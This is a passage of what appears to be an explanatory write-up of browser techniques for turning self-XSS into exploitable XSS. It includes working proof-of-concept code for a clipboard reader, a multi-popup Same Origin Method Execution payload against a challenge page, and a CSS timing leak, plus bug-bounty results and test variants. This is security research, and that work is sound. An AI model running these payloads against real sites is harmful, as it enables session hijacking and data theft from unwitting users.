There is no security feature preventing writes to the clipboard, but reading it requires permission. navigator.clipboard.readText() opens a prompt in the corner of the browser, like the camera or microphone prompt. The author notes the user can be deceived into allowing the read:
<html>
<head>
<title>clipboard reader</title>
</head>
<body>
<pre id=output>
</pre>
<script>
setInterval(()=>{
navigator.clipboard.readText().then(
clipText => output.innerText = clipText);
},500)
</script>
</body>
</html>
<pre id=output> is a block that keeps whitespace as written. Every 500 ms, navigator.clipboard.readText() asks for the clipboard contents; .then(clipText => output.innerText = clipText) takes the result and puts it into the output block. The first time, the browser asks the user to allow the read.
Step 12: SOME with popups
SOME (Same Origin Method Execution) was introduced in 2014 by Ben Hayak. The idea is that if a page on a site can be made to call a method on another page of the same site, the attacker can make the site run actions as the logged-in user. The author used Masato's challenge at vulnerabledoma.in/xss_2020-06/ to build a PoC joining SOME and popups. The ugly version opens several windows, each carrying part of the payload:
<html>
<head></head>
<body>
<script>
window.name="alert(document.domain)";
w1 = window.open('http://localhost:81/simple_case.html');
w2 = window.open('http://localhost:81/simple_case2.html')
w3 = window.open('http://localhost:81/simple_case3.html')
w4 = window.open('http://localhost:81/simple_case4.html')
w5 = window.open('http://localhost:81/simple_case5.html')
w6= window.open('about:blank')
setTimeout(()=>{
location="http://vulnerabledoma.in/xss_2020-06/";
},50)
</script>
</body>
</html>
window.name is a property of a window that survives navigation, so it can carry a string from one page to another. Here it is set to alert(document.domain). Then six windows are opened, five to local pages and one blank. After 50 ms the attacker page navigates itself to the challenge page, which is the page that will be tricked into running the payload.
Each simple_case[0-9].html holds a fragment of the payload used in the iframe version:
<html>
<head></head>
<body>
<script>
opener.location="https://vulnerabledoma.in/xss_2020-06/";
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=<script>/*%26callback=opener.document.write"
},1000)
</script>
</body>
</html>
opener is the window that opened this one. The script first sends the opener to the challenge page, then after one second navigates itself to a URL whose code parameter contains the start of a script. %26 is the URL-encoded form of &, so the server sees &callback=opener.document.write. The /* opens a comment, so the rest of the payload can be split across windows.
The pretty version uses window names instead of separate files:
<html>
<head>
</head>
<body>
<script>
if(name == 'w1'){
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=<script>/*%26callback=opener.document.write"
},1000);
}else if(name == 'w2'){
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=*/eval(/*%26callback=opener.document.write"
},1800);
}else if(name == 'w3'){
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=*/name);//%26callback=opener.document.write"
},2600);
}else if(name == 'w4'){
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=//xxxx%26callback=opener.document.write"
},3100)
}else if(name == 'w5'){
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=<\/script>%26callback=opener.document.write"
},4100)
}else{
window.name="alert(document.domain)"
window.open('http://localhost/some-popups.html','w1')
window.open('http://localhost/some-popups.html','w2')
window.open('http://localhost/some-popups.html','w3')
window.open('http://localhost/some-popups.html','w4')
window.open('http://localhost/some-popups.html','w5')
window.open('about:blank')
location="https://vulnerabledoma.in/xss_2020-06/"
}
</script>
</body>
</html>
Window names w[0-9] classify which part of the payload each window carries, and each if redirects the window to the required fragment. The else branch is the starting window: it sets window.name to the payload, opens five named windows all pointing at the same file, opens a blank one, and sends itself to the challenge page. Each named window then sees its own name, takes the matching branch, and navigates to its slice of the payload after a delay, so the pieces arrive in the right order.
Step 13: CSS timing attack without iframes
The author previously developed a solution to the problem presented in a CSS timing attack blog post where exploitation was done via iframes. A CSS timing attack measures how long the browser takes to apply a style rule; if a rule matches, the browser does more work and the page loads a little slower, which leaks information about the page's content. When the page has X-Frame-Options, the logic must change, because you cannot frame it. The attack generates timing variances in a vulnerable page to predict the value of an attribute. :has is used because it enters the HTML tree, and repeated :has enters it repeatedly, producing a measurable timing. The sink is an expression such as:
$("#"+userInput); or $(userInput)
$ here is a selector function, typically jQuery, that looks up elements by a CSS selector. userInput is usually location.hash, so $(location.hash) is also seen, because the # remains in the call. If the attacker can control the hash, they can control the selector, and the time the lookup takes reveals whether a guessed selector matched. The PoC linked in the article opens new windows instead of iframes. One problem is knowing whether the window has finished loading, which is solved with window.length, because during testing an iframe was found loading after the CSS timing attack. Frame counting is an XS-Leaks technique. Two changes are needed to reuse the PoC: replace HOST with the vulnerable URL, and change the 50 in setTimeout(() => {resolve ({status: true, leak: letter})}, 50); to a value suited to the attack and network connection.
Root cause
The techniques rest on browser behaviours rather than a single coding mistake. Firefox does not require a click before an iframe can receive a drag, and it appears to treat a synthetic click as a user click for popup blocking purposes. dataTransfer.setData and navigator.clipboard.writeText let an attacker page place a payload where the victim will paste or drop it. On Imgur, the filter removed keywords and tags but rejoined split words, and the XFO rule only set the header when the referrer was external or absent, so an internal navigation to /a/IMAGE_ID/embed/embed was framable. Frame counting then made the navigation detectable. The author notes that several of these behaviours are considered by design in browsers.
Impact
With these primitives an attacker can upgrade a self-XSS into an XSS that executes in the victim's session, provided the victim performs the required interactions (a drag, a paste, a click, or an upload). The Imgur chain needed three interactions in its first form and was made less perceptible with frame counting and the clipboard. The author reports that using some of the self-XSS upgrade techniques he obtained a total of $2000 in bounties from 7 XSS reports. Popunders can hide an attack or a page, but the author found that most ideas required a browser 0day (a previously unknown browser bug), and that SOME-based attacks are limited and often without impact if the main window does not automatically execute a task.
Fix
The article does not describe a fix applied by Imgur. It points to the new browser security features aimed at XS-Leaks, such as the window Opener policy and referrer policy, as the direction for further research.
Variants to test
- Drag a payload into a self-XSS field in another window: a positive result is the payload executing after the victim drops the dragged text.
- Clipboard write plus an autofocused input with a known id: a positive result is the payload executing after the victim pastes.
- Drag into an iframe in Firefox: a positive result is the payload landing in the framed input without any prior click on the iframe.
- Frame counting to detect navigation: a positive result is a change in
ifr.contentWindow.frames.lengthwhen the framed page moves to a page with a different frame count. - Filter bypass by splitting a keyword: a positive result is the reassembled keyword surviving the filter, as with
javajavascriptscript. - XFO bypass by adding a path segment to an embed endpoint: a positive result is the post page rendering inside an iframe.
- Popunder via download attachment plus
onbeforeunload: a positive result is focus returning to the source window after the new window opens. - Synthetic click to bypass popup blocking in Firefox: a positive result is multiple windows opening after a single user click.
- SOME with popups against a challenge page: a positive result is the callback executing
opener.document.writewith the attacker's payload. - CSS timing attack without iframes: a positive result is a measurable timing difference that reveals the value of the targeted attribute.
Glossary
- XSS (cross-site scripting): a bug where an attacker's JavaScript runs inside another website in a victim's browser, with the victim's session.
- Self-XSS: an XSS that only runs if the victim types or pastes the payload into their own page, so it needs a trick to become useful.
- CSRF (cross-site request forgery): a malicious page making your browser send a request to another site using your cookies.
- CSWF: the author's joke name, Cross-Site Window Forgery, for using windows instead of requests.
- UI redressing / clickjacking: tricking a user into clicking something they did not intend to click.
- XS-Leaks: side channels that let one site infer facts about another site's pages, such as their size or frame count.
- Popup blocking: a browser feature that stops a page from opening many windows without user interaction.
- Popunder: a new window opened while focus is shifted back to the source window, so the new window sits behind.
- Focus: which window or element currently receives the user's keystrokes.
- Origin: the scheme, host and port of a page; browsers use it to decide which pages may interact.
- Endpoint: a URL on a server that performs a particular job.
- Iframe: a page embedded inside another page.
- Sink: the place in a page where untrusted text is treated as code or markup.
dataTransfer.setData: the browser method that attaches data to something being dragged.- Clipboard: the shared buffer behind copy and paste.
navigator.clipboard.writeText/readText: browser methods to write to and read from the clipboard; reading needs permission.onerror: an event handler that fires when an image or script fails to load.innerHTML: a property that sets a page element's content as HTML, which can execute markup.- Fragment (
#...): the part of a URL after#, used by browsers to scroll to or focus an element with a matching id. autofocus: an attribute that puts the cursor in an input as soon as the page loads.X-Frame-Options(XFO): a response header telling browsers not to put a page inside an iframe.- Referrer: the address of the page you came from, sent in a request header.
- Frame counting: counting the iframes inside a framed page to detect which page is loaded.
postMessage: the browser's way for pages to send messages to each other across origins.onbeforeunload: an event that fires when a page is about to be left, and can make the browser ask for confirmation.- Content-attachment header: a response header telling the browser the response is a file to download.
- Synthetic click: a click created by JavaScript with
new MouseEvent, rather than by a real user. window.name: a property of a window that survives navigation and can carry a string between pages.opener: the window that opened the current window.- SOME (Same Origin Method Execution): an attack that makes a site call methods on another page of the same site on the user's behalf.
- CSS timing attack: measuring how long a style rule takes to apply to infer information about a page.
:has: a CSS selector that matches an element containing another element, used here to make the browser do measurable work.window.length: the number of frames in a window, used to detect when a page has finished loading.- 0day: a previously unknown vulnerability with no fix available.